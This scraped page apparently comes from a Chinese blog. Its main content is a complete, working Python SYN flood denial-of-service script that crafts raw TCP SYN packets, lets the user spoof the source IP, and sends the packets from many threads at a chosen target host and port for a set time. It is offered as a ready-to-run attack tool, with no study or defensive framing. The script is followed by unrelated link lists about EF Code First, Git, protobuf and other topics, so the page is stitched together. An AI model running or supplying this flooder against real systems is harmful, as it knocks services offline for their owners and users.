'''
Syn flood program in python by Tequila/e credits to Silver Moon for base's of syn packets. r
s
s
y
n
''' # some imports
import socket, sys, os
import threading
import time
import thread
from struct import * if len(sys.argv) < 5:
print("Usage: python rssyn.py <source ip> <destination ip> <destination port> <amount of threads> <time>");
sys.exit(); # checksum functions needed for calculation checksum
def checksum(msg):
s = 0
# loop taking 2 characters at a time
for i in range(0, len(msg), 2):
w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
s = s + w s = (s>>16) + (s & 0xffff);
#s = s + (s >> 16);
#complement and mask to 4 byte short
s = ~s & 0xffff return s #create a raw socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message: ' + msg[1]
sys.exit() # tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet
packet = ''; source_ip = sys.argv[1]
dest_ip = sys.argv[2] # or socket.gethostbyname('www.google.com')
threads = sys.argv[4]
run_time_in_seconds = sys.argv[5]
os.system('clear')
print "##"
print "# r #"
print "# s #"
print "# s #"
print "# y #"
print "# n #"
print "# Flood #"
print "# Made by e #"
print "##"
# ip header fields
ihl = 5
version = 4
tos = 0
tot_len = 20 + 20 # python seems to correctly fill the total length, dont know how ??
id = 54321 #Id of this packet
frag_off = 0
ttl = 255
protocol = socket.IPPROTO_TCP
check = 10 # python seems to correctly fill the checksum
saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
daddr = socket.inet_aton ( dest_ip ) ihl_version = (version << 4) + ihl # the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) # tcp header fields
source = 1234 # source port
dest = int(sys.argv[3]) # destination port
seq = 0
ack_seq = 0
doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
window = socket.htons (5840) # maximum allowed window size
check = 0
urg_ptr = 0 offset_res = (doff << 4) + 0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5) # the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) # pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header; tcp_checksum = checksum(psh) # make the tcp header again and fill the correct checksum
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr) # final full packet - syn packets dont have any data
packet = ip_header + tcp_header
#Send the packet finally - the port specified has no effect print "Starting rssyn flood on " + str(dest_ip) + ":" + str(dest) + " from " + str(source_ip)
print "With " + str(threads) + " threads for " + str(run_time_in_seconds) + " seconds." start_time = time.time()
global spawned_threads
spawned_threads = []
spawned = 0
total_packets = 0
def sendPackets():
while (time.time() - start_time) < int(run_time_in_seconds):
s.sendto(packet, (dest_ip , 0 ))
global total_packets
total_packets += 1
print str(total_packets) + " Packets sent to " + dest_ip + "\r\n"
while (spawned < int(threads)):
c = threading.Thread(target=sendPackets)
spawned_threads.append(c)
spawned += 1
for Threader in spawned_threads:
Threader.start()
print str(Threader) + " Started"
for Threads in spawned_threads:
Threads.join()
print "All threads have finished flooding for " + run_time_in_seconds + " seconds.."
print "Flood stopping.."
print "Shutting Down"

【转载】Synflood code的更多相关文章

  1. 转载:CODE CSDN Git 配制方法介绍

    以前一直使用Github,最近看到CSDN出了CODE代码托管功能,由于国内的阿里云服务器很稳定,而且不会被国 墙,所以果断的迁移了,下面就简单的介绍一下CODE的配置使用.其实CSDN的code 何 ...

  2. [转载]EF Code First 学习笔记:约定配置

    要更改EF中的默认配置有两个方法,一个是用Data Annotations(在命名空间System.ComponentModel.DataAnnotations;),直接作用于类的属性上面;还有一个就 ...

  3. 转载Code First Migrations更新数据库架构的具体步骤

    [转载] Code First Migrations更新数据库结构的具体步骤 我对 CodeFirst 的理解,与之对应的有 ModelFirst与  DatabaseFirst ,三者各有千秋,依项 ...

  4. 使用VS Code开发C++

    1. 参考/转载 vs code进行c/c++开发 VSCode 的第一个C++程序(windows)[更新2018.10.28] 2. C++开发相关插件(扩展商店中直接搜索) 至少要装C/C++. ...

  5. EF的四种开发模式

    EF提供了四种开发模式,具体如下:(转载)Code First(New DataBase) :在代码中定义类和映射关系并通过model生成数据库,使用迁移技术更新数据库.Code First(Exis ...

  6. Word Break leetcode java

    题目: Given a string s and a dictionary of words dict, determine if s can be segmented into a space-se ...

  7. 【极力分享】[C#/.NET]Entity Framework(EF) Code First 多对多关系的实体增,删,改,查操作全程详细示例【转载自https://segmentfault.com/a/1190000004152660】

      [C#/.NET]Entity Framework(EF) Code First 多对多关系的实体增,删,改,查操作全程详细示例 本文我们来学习一下在Entity Framework中使用Cont ...

  8. 转载:学习Entity Framework 中的Code First

    看完觉得不错,适合作为学习资料,就转载过来了 原文链接:http://www.cnblogs.com/Wayou/archive/2012/09/20/EF_CodeFirst.html 这是上周就写 ...

  9. IoC容器Autofac - Autofac + Asp.net MVC + EF Code First(转载)

    转载地址:http://www.cnblogs.com/JustRun1983/archive/2013/03/28/2981645.html  有修改 Autofac通过Controller默认构造 ...

随机推荐

  1. Ubuntu如何进入命令模式

    Ctrl+Alt+T 或者Ctrl+Alt+F2~F6进入命命令模式 Ctrl+Alt+F7返回桌面

  2. 高效的序列化组件 Protobuf-net

    什么是ProtoBuf-net Protobuf是google开源的一个项目,用户数据序列化反序列化,google声称google的数据通信都是用该序列化方法.它比xml格式要少的多,甚至比二进制数据 ...

  3. linux cfs 负载均衡

    确定新的负载的时候,代码中给出的公式是: (old×(2^i-1) + new))/2^i 整理下来是: old + (new-old)/2^i i的范围是[1, 4],也就是说,i的层级越高,那么n ...

  4. 配置Mac自带的Apache http服务器

    Mac系统是自带Apache,所以很方便我们做一些http测试. 我可以先启动默认的服务器 $ sudo apachectl start 在浏览器打开:http://localhost 将会看到下面信 ...

  5. [C/C++] static在C和C++中的用法和区别

    转自:http://blog.csdn.NET/skyereeee/article/details/8000512 static的三个作用: (1)局部静态变量 (2)外部静态变量/函数 (3)静态数 ...

  6. HDU 6153 A Secret(扩展KMP模板题)

    A Secret Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 256000/256000 K (Java/Others) Total ...

  7. 导致SQL执行慢的原因

    索引对大数据的查询速度的提升是非常大的,Explain可以帮你分析SQL语句是否用到相关索引. 索引类似大学图书馆建书目索引,可以提高数据检索的效率,降低数据库的IO成本.MySQL在300万条记录左 ...

  8. 适用于iview的表格转Excel插件

    在网上找的一个表格转excel插件,经过修改后使其适用于iview中的table组件 let idTmr; const getExplorer = () => { let explorer = ...

  9. git使用笔记(五)打标签

    By francis_hao    Nov 19,2016 当一个项目commit了若干次到了一个可以发布版本的时候一般会给当前的分支状态打一个标签,就像我们常常见到的V1.0之类的. Git 使用的 ...

  10. bzoj 3456 城市规划 多项式求逆+分治FFT

    城市规划 Time Limit: 40 Sec  Memory Limit: 256 MBSubmit: 1091  Solved: 629[Submit][Status][Discuss] Desc ...